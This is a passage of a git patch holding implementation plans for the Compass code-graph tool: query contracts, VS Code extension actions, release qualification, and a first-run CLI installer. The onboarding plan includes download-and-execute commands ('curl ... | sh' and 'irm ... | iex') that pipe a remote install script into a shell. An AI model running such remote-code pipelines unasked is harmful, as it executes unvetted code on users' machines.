"feat: expose Compass code queries" +``` + +### Task 18: Add the shared TypeScript contract and graph evidence UI + +**Files:** + +- Create: `packages/compass-viewer/src/contracts/codeQuery.ts` +- Create: `packages/compass-viewer/src/contracts/codeQuery.test.ts` +- Modify: `packages/compass-viewer/package.json` +- Modify: `packages/compass-viewer/src/contracts/graph.ts` +- Create: `packages/compass-viewer/src/graph/CodeEvidence.tsx` +- Create: `packages/compass-viewer/src/graph/CodeEvidence.test.tsx` +- Modify: `packages/compass-viewer/src/graph/GraphInspector.tsx` +- Modify: `packages/compass-viewer/src/graph/edgeLabels.ts` +- Modify: `packages/compass-viewer/src/graph/CompassGraph.tsx` + +**Interfaces:** + +- Produces strict Zod decoders and reusable provenance/coverage rendering. +- Consumes: `compass.query/1` and graph viewer projections. + +- [ ] **Step 1: Write failing Zod and rendering tests** + +```typescript +it("rejects heuristic edges without wiring evidence", () => { + const parsed = CodeQueryResponseSchema.safeParse({ + ...fixtureResponse, + edges: [{ ...fixtureEdge, provenance: { + origin: "heuristic", rule: "event-dispatch", wiringSite: null + }}] + }); + expect(parsed.success).toBe(false); +}); + +it("renders the heuristic rule and wiring site", () => { + render(); + expect(screen.getByText("event-dispatch")).toBeVisible(); + expect(screen.getByText("src/events.ts:27")).toBeVisible(); +}); +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +npm run test -w @compass/viewer -- src/contracts/codeQuery.test.ts src/graph/CodeEvidence.test.tsx +``` + +Expected: contract and component files are missing. + +- [ ] **Step 3: Implement strict decoders and evidence presentation** + +Use `z.strictObject` for contract records. Mirror every Rust enum exactly. +Render exact, convention, ambiguous, and heuristic states with text and icons, +not color alone. Show rule, extractor, anchor, wiring site, coverage, +conflicts, stale state, and truncation. + +- [ ] **Step 4: Verify viewer contracts** + +Run: + +```bash +npm run test -w @compass/viewer +npm run typecheck -w @compass/viewer +``` + +Expected: all viewer tests and type checks pass. + +- [ ] **Step 5: Commit** + +```bash +git add packages/compass-viewer +git commit -m "feat(viewer): display code graph evidence" +``` + +### Task 19: Integrate queries into the VS Code extension + +**Files:** + +- Create: `editors/vscode/src/views/codeQueryClient.ts` +- Create: `editors/vscode/src/views/codeQueryClient.test.ts` +- Modify: `editors/vscode/src/transport/messages.ts` +- Modify: `editors/vscode/src/transport/messages.test.ts` +- Modify: `editors/vscode/src/views/graphPanel.ts` +- Modify: `editors/vscode/src/webviews/graph.tsx` +- Modify: `editors/vscode/src/extension.ts` +- Modify: `editors/vscode/package.json` +- Modify: `editors/vscode/src/test/suite/extension.integration.ts` + +**Interfaces:** + +- Produces VS Code actions for search, callers, callees, impact, explore, and + node trail; graph-schema rebuild guidance; source navigation. +- Consumes: CLI commands from Task 17 and contracts from Task 18. + +- [ ] **Step 1: Write failing host/webview tests** + +```typescript +it("requests callers for the selected node and validates the response", async () => { + const client = fixtureClient(); + const response = await client.callers("node:user-show"); + expect(response.schema).toBe("compass.query/1"); + expect(client.invocations[0]?.args).toEqual([ + "callers", "node:user-show", "--format", "json" + ]); +}); + +it("offers rebuild when graph v1 is missing", async () => { + await openGraphWithCliError("unsupported graph schema: unversioned"); + expect(vscode.window.showWarningMessage).toHaveBeenCalledWith( + expect.stringContaining("rebuild"), + "Update Graph" + ); +}); +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +npm run test -w crabbuild-compass-vscode -- src/views/codeQueryClient.test.ts src/transport/messages.test.ts +``` + +Expected: client and query messages are missing. + +- [ ] **Step 3: Implement VS Code actions** + +Register: + +- `compass.searchSymbols` +- `compass.showNodeTrail` +- `compass.showImpact` +- `compass.exploreSelection` + +Reuse existing caller/callee commands but route them through +`codeQueryClient`. Post validated query results to the graph webview. Navigate +using returned source anchors. Never parse CLI text or raw `graph.json` +attributes. + +- [ ] **Step 4: Verify the extension** + +Run: + +```bash +npm run test -w crabbuild-compass-vscode +npm run typecheck -w crabbuild-compass-vscode +npm run build -w crabbuild-compass-vscode +``` + +Expected: unit tests, type checks, and extension build pass. + +- [ ] **Step 5: Commit** + +Before staging, compare the existing user modification: + +```bash +git diff -- editors/vscode/package.json +``` + +Preserve unrelated content, then commit only intentional extension changes: + +```bash +git add editors/vscode/src editors/vscode/package.json +git commit -m "feat(vscode): explore trusted code graph evidence" +``` + +## Milestone 6: Qualify the complete release + +### Task 20: Add cross-platform, determinism, and real-repository gates + +**Files:** + +- Create: `scripts/qualify_code_graph_v1.sh` +- Create: `scripts/check_code_graph_v1_coverage.py` +- Create: `tests/qualification/code-graph-v1-repositories.toml` +- Create: `docs/design/code-graph-v1-qualification.md` +- Modify: `.github/workflows/compass-ci.yml` +- Modify: `Makefile` +- Modify: `CHANGELOG.md` +- Test: `crates/compass-core/tests/code_graph_v1_determinism.rs` +- Test: `tests/viewer/query.spec.ts` + +**Interfaces:** + +- Produces one release qualification command and a machine-readable coverage + report. +- Consumes every previous task. + +- [ ] **Step 1: Write failing qualification checks** + +The coverage script must fail when: + +- a declared node/edge kind has zero producers; +- a framework lacks positive, near-match, exact, ambiguous, unresolved, or + incremental coverage; +- clean and incremental graph bytes differ; +- a heuristic edge lacks rule/wiring site; +- CLI/MCP/VS Code schema fingerprints differ. + +Add this shell contract: + +```bash +./scripts/qualify_code_graph_v1.sh --fixtures-only +``` + +Expected before implementation: non-zero exit with a list of missing gates. + +- [ ] **Step 2: Run the failing gate** + +Run: + +```bash +./scripts/qualify_code_graph_v1.sh --fixtures-only +``` + +Expected: failure listing all unimplemented checks. + +- [ ] **Step 3: Implement the qualification pipeline** + +The script runs: + +```bash +cargo fmt --all -- --check +cargo clippy --workspace --all-targets --locked -- -D warnings +cargo test --workspace --all-targets --locked +npm run test:js +npm run typecheck:js +npm run build +python3 scripts/check_code_graph_v1_coverage.py +``` + +The full mode additionally builds small, medium, and large repositories for +each supported language family and executes three route-to-handler flows for +every listed framework. Record repository revision, Compass revision, graph +digest, node/edge counts, query timings, unresolved counts, and false exact +resolutions in `docs/design/code-graph-v1-qualification.md`. + +Commit the real-repository matrix in +`tests/qualification/code-graph-v1-repositories.toml`. Each entry contains +`name`, `url`, immutable 40-hex `commit`, `size_class`, `language_family`, and +`frameworks`. The script rejects branches, tags, shortened hashes, duplicate +size/language cells, and any framework with fewer than three declared +route-to-handler flows. It clones into a temporary directory and never writes +into the fixture or source trees. + +- [ ] **Step 4: Run the fixture gate** + +Run: + +```bash +./scripts/qualify_code_graph_v1.sh --fixtures-only +``` + +Expected: exit 0. + +- [ ] **Step 5: Run the real-repository and platform gates** + +Run: + +```bash +./scripts/qualify_code_graph_v1.sh \ + --repositories tests/qualification/code-graph-v1-repositories.toml +``` + +Expected: exit 0 and a qualification report containing results for every +locked repository and framework flow. + +Run platform-sensitive suites on: + +- macOS locally; +- Linux in the repository's documented Node/Rust Docker environment; +- the documented Windows VM for path, atomic publication, SQLite, and VS Code + process behavior. + +- [ ] **Step 6: Refresh the project graph** + +Because implementation modifies code files, run from the outer Graphify +workspace: + +```bash +cd /Users/haipingfu/graphify +graphify update . +``` + +Expected: `graphify-out/GRAPH_REPORT.md` records the implementation commit and +the update exits 0. + +- [ ] **Step 7: Commit** + +```bash +git add scripts/check_code_graph_v1_coverage.py scripts/qualify_code_graph_v1.sh tests/qualification/code-graph-v1-repositories.toml docs/design/code-graph-v1-qualification.md .github/workflows/compass-ci.yml Makefile CHANGELOG.md crates/compass-core/tests/code_graph_v1_determinism.rs tests/viewer/query.spec.ts +git commit -m "test: qualify Compass code graph v1" +``` + +## Final verification + +- [ ] Run the full Rust test suite: + +```bash +cargo test --workspace --all-targets --locked +``` + +- [ ] Run strict Rust linting: + +```bash +cargo fmt --all -- --check +cargo clippy --workspace --all-targets --locked -- -D warnings +``` + +- [ ] Run JavaScript tests, type checks, and builds: + +```bash +npm run test:js +npm run typecheck:js +npm run build +``` + +- [ ] Run the fixture qualification gate: + +```bash +./scripts/qualify_code_graph_v1.sh --fixtures-only +``` + +- [ ] Run the locked real-repository gate: + +```bash +./scripts/qualify_code_graph_v1.sh \ + --repositories tests/qualification/code-graph-v1-repositories.toml +``` + +- [ ] Inspect final scope: + +```bash +git status --short +git diff --stat HEAD~20..HEAD +git log --oneline --decorate -20 +``` + +- [ ] Confirm the original user-owned + `editors/vscode/package.json` change is either preserved verbatim or + intentionally incorporated and documented. + +- [ ] Run the outer graph refresh after the final code change: + +```bash +cd /Users/haipingfu/graphify +graphify update . +``` + +Expected: every command exits 0, the qualification document contains no +unresolved release gate, and only intentional files are modified. From 5407c6d0829fa84d2418b60cddeb1178130e9235 Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 21:56:16 -0700 Subject: [PATCH 05/25] docs: plan VS Code CLI onboarding --- .../plans/2026-07-27-vscode-cli-onboarding.md | 1126 +++++++++++++++++ 1 file changed, 1126 insertions(+) create mode 100644 docs/superpowers/plans/2026-07-27-vscode-cli-onboarding.md diff --git a/docs/superpowers/plans/2026-07-27-vscode-cli-onboarding.md b/docs/superpowers/plans/2026-07-27-vscode-cli-onboarding.md new file mode 100644 index 00000000..d628a0d3 --- /dev/null +++ b/docs/superpowers/plans/2026-07-27-vscode-cli-onboarding.md @@ -0,0 +1,1126 @@ +# VS Code Compass CLI Onboarding Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Give users without Compass a one-click VS Code onboarding page that installs the official CLI in a visible integrated terminal, verifies and activates it without reloading, then opens repository initialization. + +**Architecture:** Add a first-party PowerShell installer, a mutable CLI runtime that safely activates verified executables, a pure React onboarding view, and a VS Code panel that owns terminal execution and verification. Keep installer command selection, runtime activation, presentation, and terminal orchestration behind separate typed interfaces so each boundary is independently testable. + +**Tech Stack:** TypeScript 5.9, VS Code Extension API 1.95, React 19, Zod 4, Vitest 3, PowerShell 5.1+/PowerShell 7, POSIX shell, GitHub Actions + +## Global Constraints + +- Follow implementation-first ordering: add production behavior before its focused regression tests. Do not use red/green TDD sequencing. +- The VSIX must not bundle a native Compass binary. +- Installers must use HTTPS, verify SHA-256, use user-writable destinations, and request no elevation. +- The extension must show the exact fixed command and run it in a visible VS Code terminal. +- Webview input must never provide command text, paths, URLs, or shell fragments. +- Support macOS and Linux on x64/ARM64 plus Windows x64/ARM64. +- Activate a verified CLI without reloading VS Code. +- Preserve the existing repository initialization wizard and open it only after the user selects **Initialize repository**. +- Preserve the user's existing uncommitted `editors/vscode/package.json` version change from `0.1.6` to `0.1.7`; do not include that version hunk in feature commits. +- Do not run `graphify update .`, following the project owner's explicit direction. +- Do not modify or stage the unrelated untracked plans already present in `docs/superpowers/plans/`. + +## File Structure + +### New files + +- `scripts/install.ps1` — official Windows release downloader, checksum verifier, extractor, and user-local installer. +- `scripts/test_install_ps1.ps1` — fixture-backed Windows installer integration checks. +- `editors/vscode/src/cli/runtime.ts` — verified live CLI activation and discovery state. +- `editors/vscode/src/cli/runtime.test.ts` — runtime activation regression coverage. +- `editors/vscode/src/install/command.ts` — pure platform command and PowerShell discovery helpers. +- `editors/vscode/src/install/command.test.ts` — command selection coverage. +- `editors/vscode/src/install/messages.ts` — bounded onboarding webview schemas and host state types. +- `editors/vscode/src/install/messages.test.ts` — message rejection coverage. +- `editors/vscode/src/views/cliOnboardingPanel.ts` — webview lifecycle, visible terminal execution, completion observation, and verification. +- `editors/vscode/src/views/cliOnboardingPanel.test.ts` — terminal completion and fallback polling coverage through injected host dependencies. +- `editors/vscode/src/webviews/onboarding.tsx` — VS Code-to-React onboarding adapter. +- `packages/compass-viewer/src/onboarding/CliOnboarding.tsx` — pure onboarding presentation. +- `packages/compass-viewer/src/onboarding/CliOnboarding.test.tsx` — rendering, action, and accessibility coverage. +- `packages/compass-viewer/src/onboarding.css` — onboarding-specific responsive styles. + +### Modified files + +- `scripts/test_release_scripts.sh` — retain POSIX installer coverage and assert both installer assets exist. +- `.github/workflows/compass-ci.yml` — run PowerShell installer checks on Windows. +- `.github/workflows/compass-release.yml` — publish `scripts/install.ps1`. +- `README.md` — document the Windows one-line installer. +- `docs/getting-started.md` — document the Windows one-line installer and override variables. +- `editors/vscode/src/cli/processManager.ts` — allow a verified executable to replace the inactive runtime executable. +- `editors/vscode/src/cli/processManager.test.ts` — cover live executable replacement. +- `editors/vscode/src/views/workspaceTree.ts` — read current discovery through a getter. +- `editors/vscode/src/views/treeModel.ts` — route missing-CLI users to onboarding. +- `editors/vscode/src/views/treeModel.test.ts` — cover the new tree entry point. +- `editors/vscode/src/extension.ts` — create the runtime, register onboarding, and activate selected CLIs without reload. +- `editors/vscode/src/test/suite/extension.integration.ts` — assert the install command is registered. +- `editors/vscode/esbuild.mjs` — bundle the onboarding webview. +- `editors/vscode/package.json` — contribute **Compass: Install CLI** and update walkthrough copy. +- `editors/vscode/scripts/smoke-vsix.mjs` — require the onboarding bundle and continue rejecting native binaries. +- `editors/vscode/README.md` — explain first-run installation and recovery. +- `editors/vscode/CHANGELOG.md` — add an `0.1.7` onboarding entry without changing the user-owned version line. +- `packages/compass-viewer/src/index.ts` — export the onboarding component and types. +- `packages/compass-viewer/src/theme.css` — import onboarding styles. + +--- + +### Task 1: Official Windows Installer and Release Asset + +**Files:** +- Create: `scripts/install.ps1` +- Create: `scripts/test_install_ps1.ps1` +- Modify: `scripts/test_release_scripts.sh` +- Modify: `.github/workflows/compass-ci.yml` +- Modify: `.github/workflows/compass-release.yml` +- Modify: `README.md` +- Modify: `docs/getting-started.md` + +**Interfaces:** +- Consumes: release archives named `compass-.tar.gz` and matching `.sha256` files. +- Produces: `scripts/install.ps1`, honoring `COMPASS_RELEASE_BASE_URL` and `COMPASS_INSTALL_DIR`, and installing `compass.exe` to the reported absolute path. + +- [ ] **Step 1: Implement the PowerShell installer** + +Create `scripts/install.ps1` with strict error behavior, deterministic +architecture mapping, checksum validation, and cleanup: + +```powershell +$ErrorActionPreference = "Stop" +Set-StrictMode -Version Latest + +$Repository = if ($env:COMPASS_REPOSITORY) { + $env:COMPASS_REPOSITORY +} else { + "crabbuild/compass" +} +$ReleaseBaseUrl = if ($env:COMPASS_RELEASE_BASE_URL) { + $env:COMPASS_RELEASE_BASE_URL.TrimEnd("/") +} else { + "https://github.com/$Repository/releases/latest/download" +} +$InstallDir = if ($env:COMPASS_INSTALL_DIR) { + $env:COMPASS_INSTALL_DIR +} else { + Join-Path $HOME ".local\bin" +} + +$Architecture = [System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture +$Target = switch ($Architecture) { + ([System.Runtime.InteropServices.Architecture]::X64) { + "x86_64-pc-windows-msvc" + } + ([System.Runtime.InteropServices.Architecture]::Arm64) { + "aarch64-pc-windows-msvc" + } + default { + throw "unsupported Windows architecture: $Architecture" + } +} + +$Name = "compass-$Target" +$Archive = "$Name.tar.gz" +$Checksum = "$Archive.sha256" +$Temporary = Join-Path ([System.IO.Path]::GetTempPath()) "compass-install-$([guid]::NewGuid())" + +try { + New-Item -ItemType Directory -Path $Temporary | Out-Null + Invoke-WebRequest -UseBasicParsing -Uri "$ReleaseBaseUrl/$Archive" ` + -OutFile (Join-Path $Temporary $Archive) + Invoke-WebRequest -UseBasicParsing -Uri "$ReleaseBaseUrl/$Checksum" ` + -OutFile (Join-Path $Temporary $Checksum) + + $Expected = ((Get-Content (Join-Path $Temporary $Checksum) -Raw).Trim() ` + -split "\s+")[0].ToLowerInvariant() + if ($Expected -notmatch "^[0-9a-f]{64}$") { + throw "invalid SHA-256 file for $Archive" + } + $Actual = (Get-FileHash (Join-Path $Temporary $Archive) -Algorithm SHA256) ` + .Hash.ToLowerInvariant() + if ($Actual -ne $Expected) { + throw "checksum verification failed for $Archive" + } + + tar -xzf (Join-Path $Temporary $Archive) -C $Temporary + if ($LASTEXITCODE -ne 0) { + throw "failed to extract $Archive" + } + $Source = Join-Path $Temporary "$Name\compass.exe" + if (-not (Test-Path -LiteralPath $Source -PathType Leaf)) { + throw "release archive does not contain $Name\compass.exe" + } + + New-Item -ItemType Directory -Force -Path $InstallDir | Out-Null + $Destination = Join-Path $InstallDir "compass.exe" + $Staged = Join-Path $InstallDir "compass.exe.new" + Copy-Item -LiteralPath $Source -Destination $Staged -Force + Move-Item -LiteralPath $Staged -Destination $Destination -Force + Write-Output "Installed Compass to $Destination" +} finally { + Remove-Item -LiteralPath $Temporary -Recurse -Force -ErrorAction SilentlyContinue +} +``` + +- [ ] **Step 2: Publish the PowerShell asset** + +Add `scripts/install.ps1` to the `files:` list in +`.github/workflows/compass-release.yml`: + +```yaml +files: | + dist/* + scripts/install.sh + scripts/install.ps1 +``` + +Add a POSIX release assertion after the existing installer tests: + +```sh +test -f "$repo_root/scripts/install.sh" +test -f "$repo_root/scripts/install.ps1" +``` + +- [ ] **Step 3: Document the one-line Windows installation command** + +Replace the manual Windows-only archive paragraph in `README.md` and +`docs/getting-started.md` with: + +```powershell +irm https://github.com/crabbuild/compass/releases/latest/download/install.ps1 | iex +``` + +Keep the manual archive and checksum instructions immediately below it as the +offline/fallback path. Document: + +```powershell +$env:COMPASS_INSTALL_DIR = "$PWD\bin" +.\install.ps1 +``` + +- [ ] **Step 4: Add fixture-backed PowerShell installer checks** + +Create `scripts/test_install_ps1.ps1`. The script must: + +1. accept `-CompassBinary` as an optional path to a built `compass.exe`; +2. create x64 and ARM64 fixture archives with the exact release layout; +3. create valid `.sha256` files with `Get-FileHash`; +4. serve the fixture directory from `python -m http.server` on a dynamically + reserved loopback port; +5. invoke `install.ps1` with fixture `COMPASS_RELEASE_BASE_URL` and a temporary + `COMPASS_INSTALL_DIR`; +6. assert `compass.exe` exists and byte-matches the fixture; +7. replace one checksum with 64 zeroes and assert installation fails without + publishing `compass.exe`; and +8. stop the server and delete all temporary directories in `finally`. + +Use this architecture override inside the installer solely for deterministic +tests: + +```powershell +$ArchitectureName = if ($env:COMPASS_INSTALL_ARCH) { + $env:COMPASS_INSTALL_ARCH +} else { + [System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture.ToString() +} +$Target = switch ($ArchitectureName.ToLowerInvariant()) { + "x64" { "x86_64-pc-windows-msvc" } + "arm64" { "aarch64-pc-windows-msvc" } + default { throw "unsupported Windows architecture: $ArchitectureName" } +} +``` + +- [ ] **Step 5: Run the Windows installer check in CI** + +Add this step to the `native-platforms` job after the native tests: + +```yaml +- name: Test PowerShell installer + if: runner.os == 'Windows' + shell: pwsh + run: | + cargo build --release --locked -p compass-cli --bin compass --target ${{ matrix.target }} + ./scripts/test_install_ps1.ps1 ` + -CompassBinary "target/${{ matrix.target }}/release/compass.exe" +``` + +- [ ] **Step 6: Run focused verification** + +Run on macOS/Linux: + +```bash +sh -n scripts/install.sh +sh -n scripts/test_release_scripts.sh +sh scripts/test_release_scripts.sh +git diff --check -- scripts .github/workflows README.md docs/getting-started.md +``` + +Run on Windows or a host with `pwsh`: + +```powershell +./scripts/test_install_ps1.ps1 +``` + +Expected: the shell release tests pass; PowerShell tests install both fixture +targets and reject the corrupt checksum. + +- [ ] **Step 7: Commit the installer deliverable** + +```bash +git add scripts/install.ps1 scripts/test_install_ps1.ps1 \ + scripts/test_release_scripts.sh .github/workflows/compass-ci.yml \ + .github/workflows/compass-release.yml README.md docs/getting-started.md +git commit -m "feat: add official Windows Compass installer" +``` + +### Task 2: Live Verified CLI Runtime + +**Files:** +- Create: `editors/vscode/src/cli/runtime.ts` +- Create: `editors/vscode/src/cli/runtime.test.ts` +- Modify: `editors/vscode/src/cli/processManager.ts` +- Modify: `editors/vscode/src/cli/processManager.test.ts` +- Modify: `editors/vscode/src/views/workspaceTree.ts` + +**Interfaces:** +- Consumes: `CompassDiscovery`, `CompassInstallation`, + `CompassProcessManager`, `CapabilityReportSchema`, `COMPASS_REQUIREMENTS`, + repository sessions, and a persistence callback. +- Produces: + - `CompassRuntime.discovery: CompassDiscovery` + - `CompassRuntime.onDidChange(listener: () => void): { dispose(): void }` + - `CompassRuntime.activate(installation: CompassInstallation): Promise` + - `CompassProcessManager.useExecutable(executable: string): void` + +- [ ] **Step 1: Make the shared process manager switchable only by explicit activation** + +Change the executable field in `processManager.ts` from constructor-private +readonly state to guarded mutable state: + +```ts +export class CompassProcessManager { + private executable: string; + + constructor(executable: string, private readonly spawn: Spawn = nodeSpawn) { + this.executable = executable; + } + + get executablePath(): string { + return this.executable; + } + + useExecutable(executable: string): void { + const next = executable.trim(); + if (!next) throw new Error("Compass executable path cannot be empty"); + this.executable = next; + } +} +``` + +Do not add automatic discovery or validation to this low-level class. The +runtime controller is the only caller that publishes a verified executable. + +- [ ] **Step 2: Implement the runtime controller** + +Create `runtime.ts` with these public contracts: + +```ts +export type ActivatedCompass = { + installation: CompassInstallation; + capabilities: CapabilityReport; +}; + +export type CompassRuntimeDependencies = { + processes: CompassProcessManager; + sessions(): readonly RepositorySession[]; + persistCliPath(executable: string): Promise; + createCandidateProcesses?(executable: string): CompassProcessManager; +}; + +export class CompassRuntime { + private current: CompassDiscovery; + private readonly listeners = new Set<() => void>(); + + constructor( + discovery: CompassDiscovery, + private readonly dependencies: CompassRuntimeDependencies + ) { + this.current = discovery; + } + + get discovery(): CompassDiscovery { + return this.current; + } + + onDidChange(listener: () => void): { dispose(): void } { + this.listeners.add(listener); + return { dispose: () => this.listeners.delete(listener) }; + } + + async activate(installation: CompassInstallation): Promise { + const sessions = this.dependencies.sessions(); + if (sessions.some((session) => session.activeWriter || session.watch)) { + throw new Error("Stop active Compass builds and watchers before changing the CLI."); + } + const candidate = this.dependencies.createCandidateProcesses?.( + installation.executable + ) ?? new CompassProcessManager(installation.executable); + const cwd = sessions[0]?.root ?? process.cwd(); + const capabilities = await candidate.runJson( + cwd, + ["capabilities", "--format", "json"], + CapabilityReportSchema + ); + const issue = Object.values(COMPASS_REQUIREMENTS) + .map((requirement) => compatibilityIssue(capabilities, undefined, requirement)) + .find((value) => value !== undefined); + if (issue) throw new Error(issue); + + await this.dependencies.persistCliPath(installation.executable); + this.dependencies.processes.useExecutable(installation.executable); + for (const session of sessions) { + session.capabilities = capabilities; + session.capabilityError = undefined; + } + this.current = activeDiscovery(installation, this.current); + for (const listener of this.listeners) listener(); + return { installation, capabilities }; + } +} +``` + +Implement `activeDiscovery` so the activated installation is first, duplicate +paths are removed, and the original `searched` list remains available for +diagnostics. + +- [ ] **Step 3: Make the Workspace tree read current discovery** + +Change `WorkspaceTree` to consume a getter: + +```ts +constructor( + private readonly registry: SessionRegistry, + private readonly discovery: () => CompassDiscovery +) {} + +getChildren(node?: TreeNode): TreeNode[] { + if (node) return node.children ?? []; + return buildWorkspaceTree(this.discovery(), this.registry.all()); +} +``` + +The extension will pass `() => runtime.discovery` in Task 5. + +- [ ] **Step 4: Add runtime and process-manager regression tests** + +Add implementation-following tests covering: + +```ts +it("switches future process launches to the activated executable", async () => { + const processes = new CompassProcessManager("compass", spawn as never); + processes.useExecutable("/home/dev/.local/bin/compass"); + processes.startCommand("/repo", ["--version"]); + expect(spawn).toHaveBeenCalledWith( + "/home/dev/.local/bin/compass", + ["--version"], + expect.any(Object) + ); +}); +``` + +In `runtime.test.ts`, use an injected candidate process manager and assert: + +- all required capabilities are checked before `persistCliPath`; +- the shared process manager and sessions update only after verification; +- incompatible reports reject without mutation; +- active writers and watchers reject without candidate execution; +- listeners fire once after successful activation; and +- duplicate installation paths are removed from the published discovery. + +- [ ] **Step 5: Run focused verification** + +```bash +npm run test -w editors/vscode -- \ + src/cli/processManager.test.ts src/cli/runtime.test.ts +npm run typecheck -w editors/vscode +git diff --check -- editors/vscode/src/cli editors/vscode/src/views/workspaceTree.ts +``` + +Expected: focused Vitest files and the extension typecheck pass. + +- [ ] **Step 6: Commit the runtime deliverable** + +```bash +git add editors/vscode/src/cli/processManager.ts \ + editors/vscode/src/cli/processManager.test.ts \ + editors/vscode/src/cli/runtime.ts \ + editors/vscode/src/cli/runtime.test.ts \ + editors/vscode/src/views/workspaceTree.ts +git commit -m "feat(vscode): activate verified Compass CLIs live" +``` + +### Task 3: Reusable Onboarding Presentation + +**Files:** +- Create: `packages/compass-viewer/src/onboarding/CliOnboarding.tsx` +- Create: `packages/compass-viewer/src/onboarding/CliOnboarding.test.tsx` +- Create: `packages/compass-viewer/src/onboarding.css` +- Modify: `packages/compass-viewer/src/index.ts` +- Modify: `packages/compass-viewer/src/theme.css` + +**Interfaces:** +- Consumes: a serializable `CliOnboardingState` and an action-only + `CliOnboardingHost`. +- Produces: + - `CliOnboarding` + - `CliOnboardingState` + - `CliOnboardingHost` + +- [ ] **Step 1: Define the presentation contract** + +Create `CliOnboarding.tsx` with these exported types: + +```ts +export type CliOnboardingState = + | { + kind: "ready-to-install"; + platform: string; + command: string; + } + | { + kind: "installing"; + platform: string; + command: string; + } + | { kind: "verifying" } + | { + kind: "ready"; + version: string; + executable: string; + hasWorkspace: boolean; + } + | { + kind: "error"; + title: string; + message: string; + searched?: string[]; + canVerifyAgain: boolean; + } + | { + kind: "unsupported"; + platform: string; + message: string; + }; + +export type CliOnboardingHost = { + install(): void; + verifyAgain(): void; + selectExisting(): void; + initializeRepository(): void; + openRepository(): void; + showTerminal(): void; +}; +``` + +- [ ] **Step 2: Implement the six visual states** + +Implement one `main` landmark with: + +- **Get started with Compass** and local-first copy in ready-to-install; +- a read-only `` block containing the exact command; +- **Install Compass** as the sole primary install action; +- `role="status"` and `aria-live="polite"` around installing/verifying state; +- **Compass is ready** with version and executable path; +- **Initialize repository** when `hasWorkspace` is true; +- **Open repository folder** when `hasWorkspace` is false; +- focused recovery copy and bounded searched-location rendering for errors; and +- **Select an existing CLI** on ready-to-install, error, and unsupported states. + +Use the existing `init-button`, `init-eyebrow`, and result-card conventions +where they match. Add onboarding-specific class names only for command display, +platform detail, and searched paths. + +- [ ] **Step 3: Add responsive theme styles and exports** + +Import the new stylesheet from `theme.css`: + +```css +@import "./initialize.css"; +@import "./onboarding.css"; +``` + +Export the public component: + +```ts +export * from "./onboarding/CliOnboarding"; +``` + +Keep the page usable at 320 CSS pixels and use VS Code variables already +defined in `theme.css`; add no fixed light/dark palette. + +- [ ] **Step 4: Add component regression tests** + +Add tests after the component implementation that render each union member and +assert: + +- the exact command is visible before install; +- `host.install` fires only from **Install Compass**; +- installing and verifying announce status and expose no duplicate install; +- ready shows version/path and selects the correct repository action; +- error invokes **Verify again**, **View terminal**, and binary selection; +- unsupported does not render an install action; and +- every interactive control is a native button with a visible label. + +Use the existing `createRoot` plus `flushSync` pattern from +`InitializationWizard.test.tsx`. + +- [ ] **Step 5: Run focused verification** + +```bash +npm run test -w @compass/viewer -- \ + src/onboarding/CliOnboarding.test.tsx +npm run typecheck -w @compass/viewer +npm run build -w @compass/viewer +git diff --check -- packages/compass-viewer/src +``` + +Expected: component tests, typecheck, and deterministic viewer build pass. + +- [ ] **Step 6: Commit the viewer deliverable** + +```bash +git add packages/compass-viewer/src/onboarding \ + packages/compass-viewer/src/onboarding.css \ + packages/compass-viewer/src/index.ts \ + packages/compass-viewer/src/theme.css +git commit -m "feat(viewer): add Compass CLI onboarding states" +``` + +### Task 4: Visible Terminal Installation and Verification Panel + +**Files:** +- Create: `editors/vscode/src/install/command.ts` +- Create: `editors/vscode/src/install/command.test.ts` +- Create: `editors/vscode/src/install/messages.ts` +- Create: `editors/vscode/src/install/messages.test.ts` +- Create: `editors/vscode/src/views/cliOnboardingPanel.ts` +- Create: `editors/vscode/src/views/cliOnboardingPanel.test.ts` +- Create: `editors/vscode/src/webviews/onboarding.tsx` +- Modify: `editors/vscode/esbuild.mjs` + +**Interfaces:** +- Consumes: `CompassRuntime`, `discoverCompass`, VS Code terminal shell + integration events, and `CliOnboarding`. +- Produces: + - `resolveInstallCommand(platform, environment): Promise` + - `openCliOnboardingPanel(context, dependencies): Promise` + - the bundled `dist/webviews/onboarding.js` + +- [ ] **Step 1: Implement fixed platform commands** + +Create `command.ts`: + +```ts +export type InstallCommand = + | { + kind: "supported"; + platformLabel: string; + command: string; + shellPath?: string; + } + | { + kind: "unsupported"; + platformLabel: string; + message: string; + }; + +const POSIX_INSTALL = + "curl --proto '=https' --tlsv1.2 -LsSf " + + "https://github.com/crabbuild/compass/releases/latest/download/install.sh | sh"; +const WINDOWS_INSTALL = + "Invoke-RestMethod " + + "'https://github.com/crabbuild/compass/releases/latest/download/install.ps1' " + + "| Invoke-Expression"; +``` + +For `darwin` and `linux`, return `POSIX_INSTALL` without a forced shell. For +`win32`, call an injected executable-access helper over this ordered candidate +list: + +1. each `pwsh.exe` found on `PATH`; +2. `%ProgramFiles%\PowerShell\7\pwsh.exe`; +3. each `powershell.exe` found on `PATH`; +4. `%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe`. + +Return the first executable candidate as `shellPath`. If none is executable, +return `kind: "unsupported"` with manual release guidance. For all other +platforms, return unsupported. + +- [ ] **Step 2: Implement strict onboarding messages** + +Create `messages.ts`: + +```ts +export const OnboardingToHostMessageSchema = z.discriminatedUnion("type", [ + z.object({ type: z.literal("ready") }), + z.object({ type: z.literal("install") }), + z.object({ type: z.literal("verifyAgain") }), + z.object({ type: z.literal("selectExisting") }), + z.object({ type: z.literal("initializeRepository") }), + z.object({ type: z.literal("openRepository") }), + z.object({ type: z.literal("showTerminal") }) +]); + +export const HostToOnboardingMessageSchema = z.object({ + type: z.literal("state"), + state: CliOnboardingStateSchema +}); +``` + +Mirror every `CliOnboardingState` branch in `CliOnboardingStateSchema`. Apply +`.max(8192)` to messages and paths, `.max(256)` to searched arrays, and reject +unknown properties with `.strict()`. + +- [ ] **Step 3: Implement panel lifecycle and installation orchestration** + +Create a singleton `CliOnboardingPanel` that reveals an existing page instead +of creating parallel installers. Its injected dependencies must include: + +```ts +export 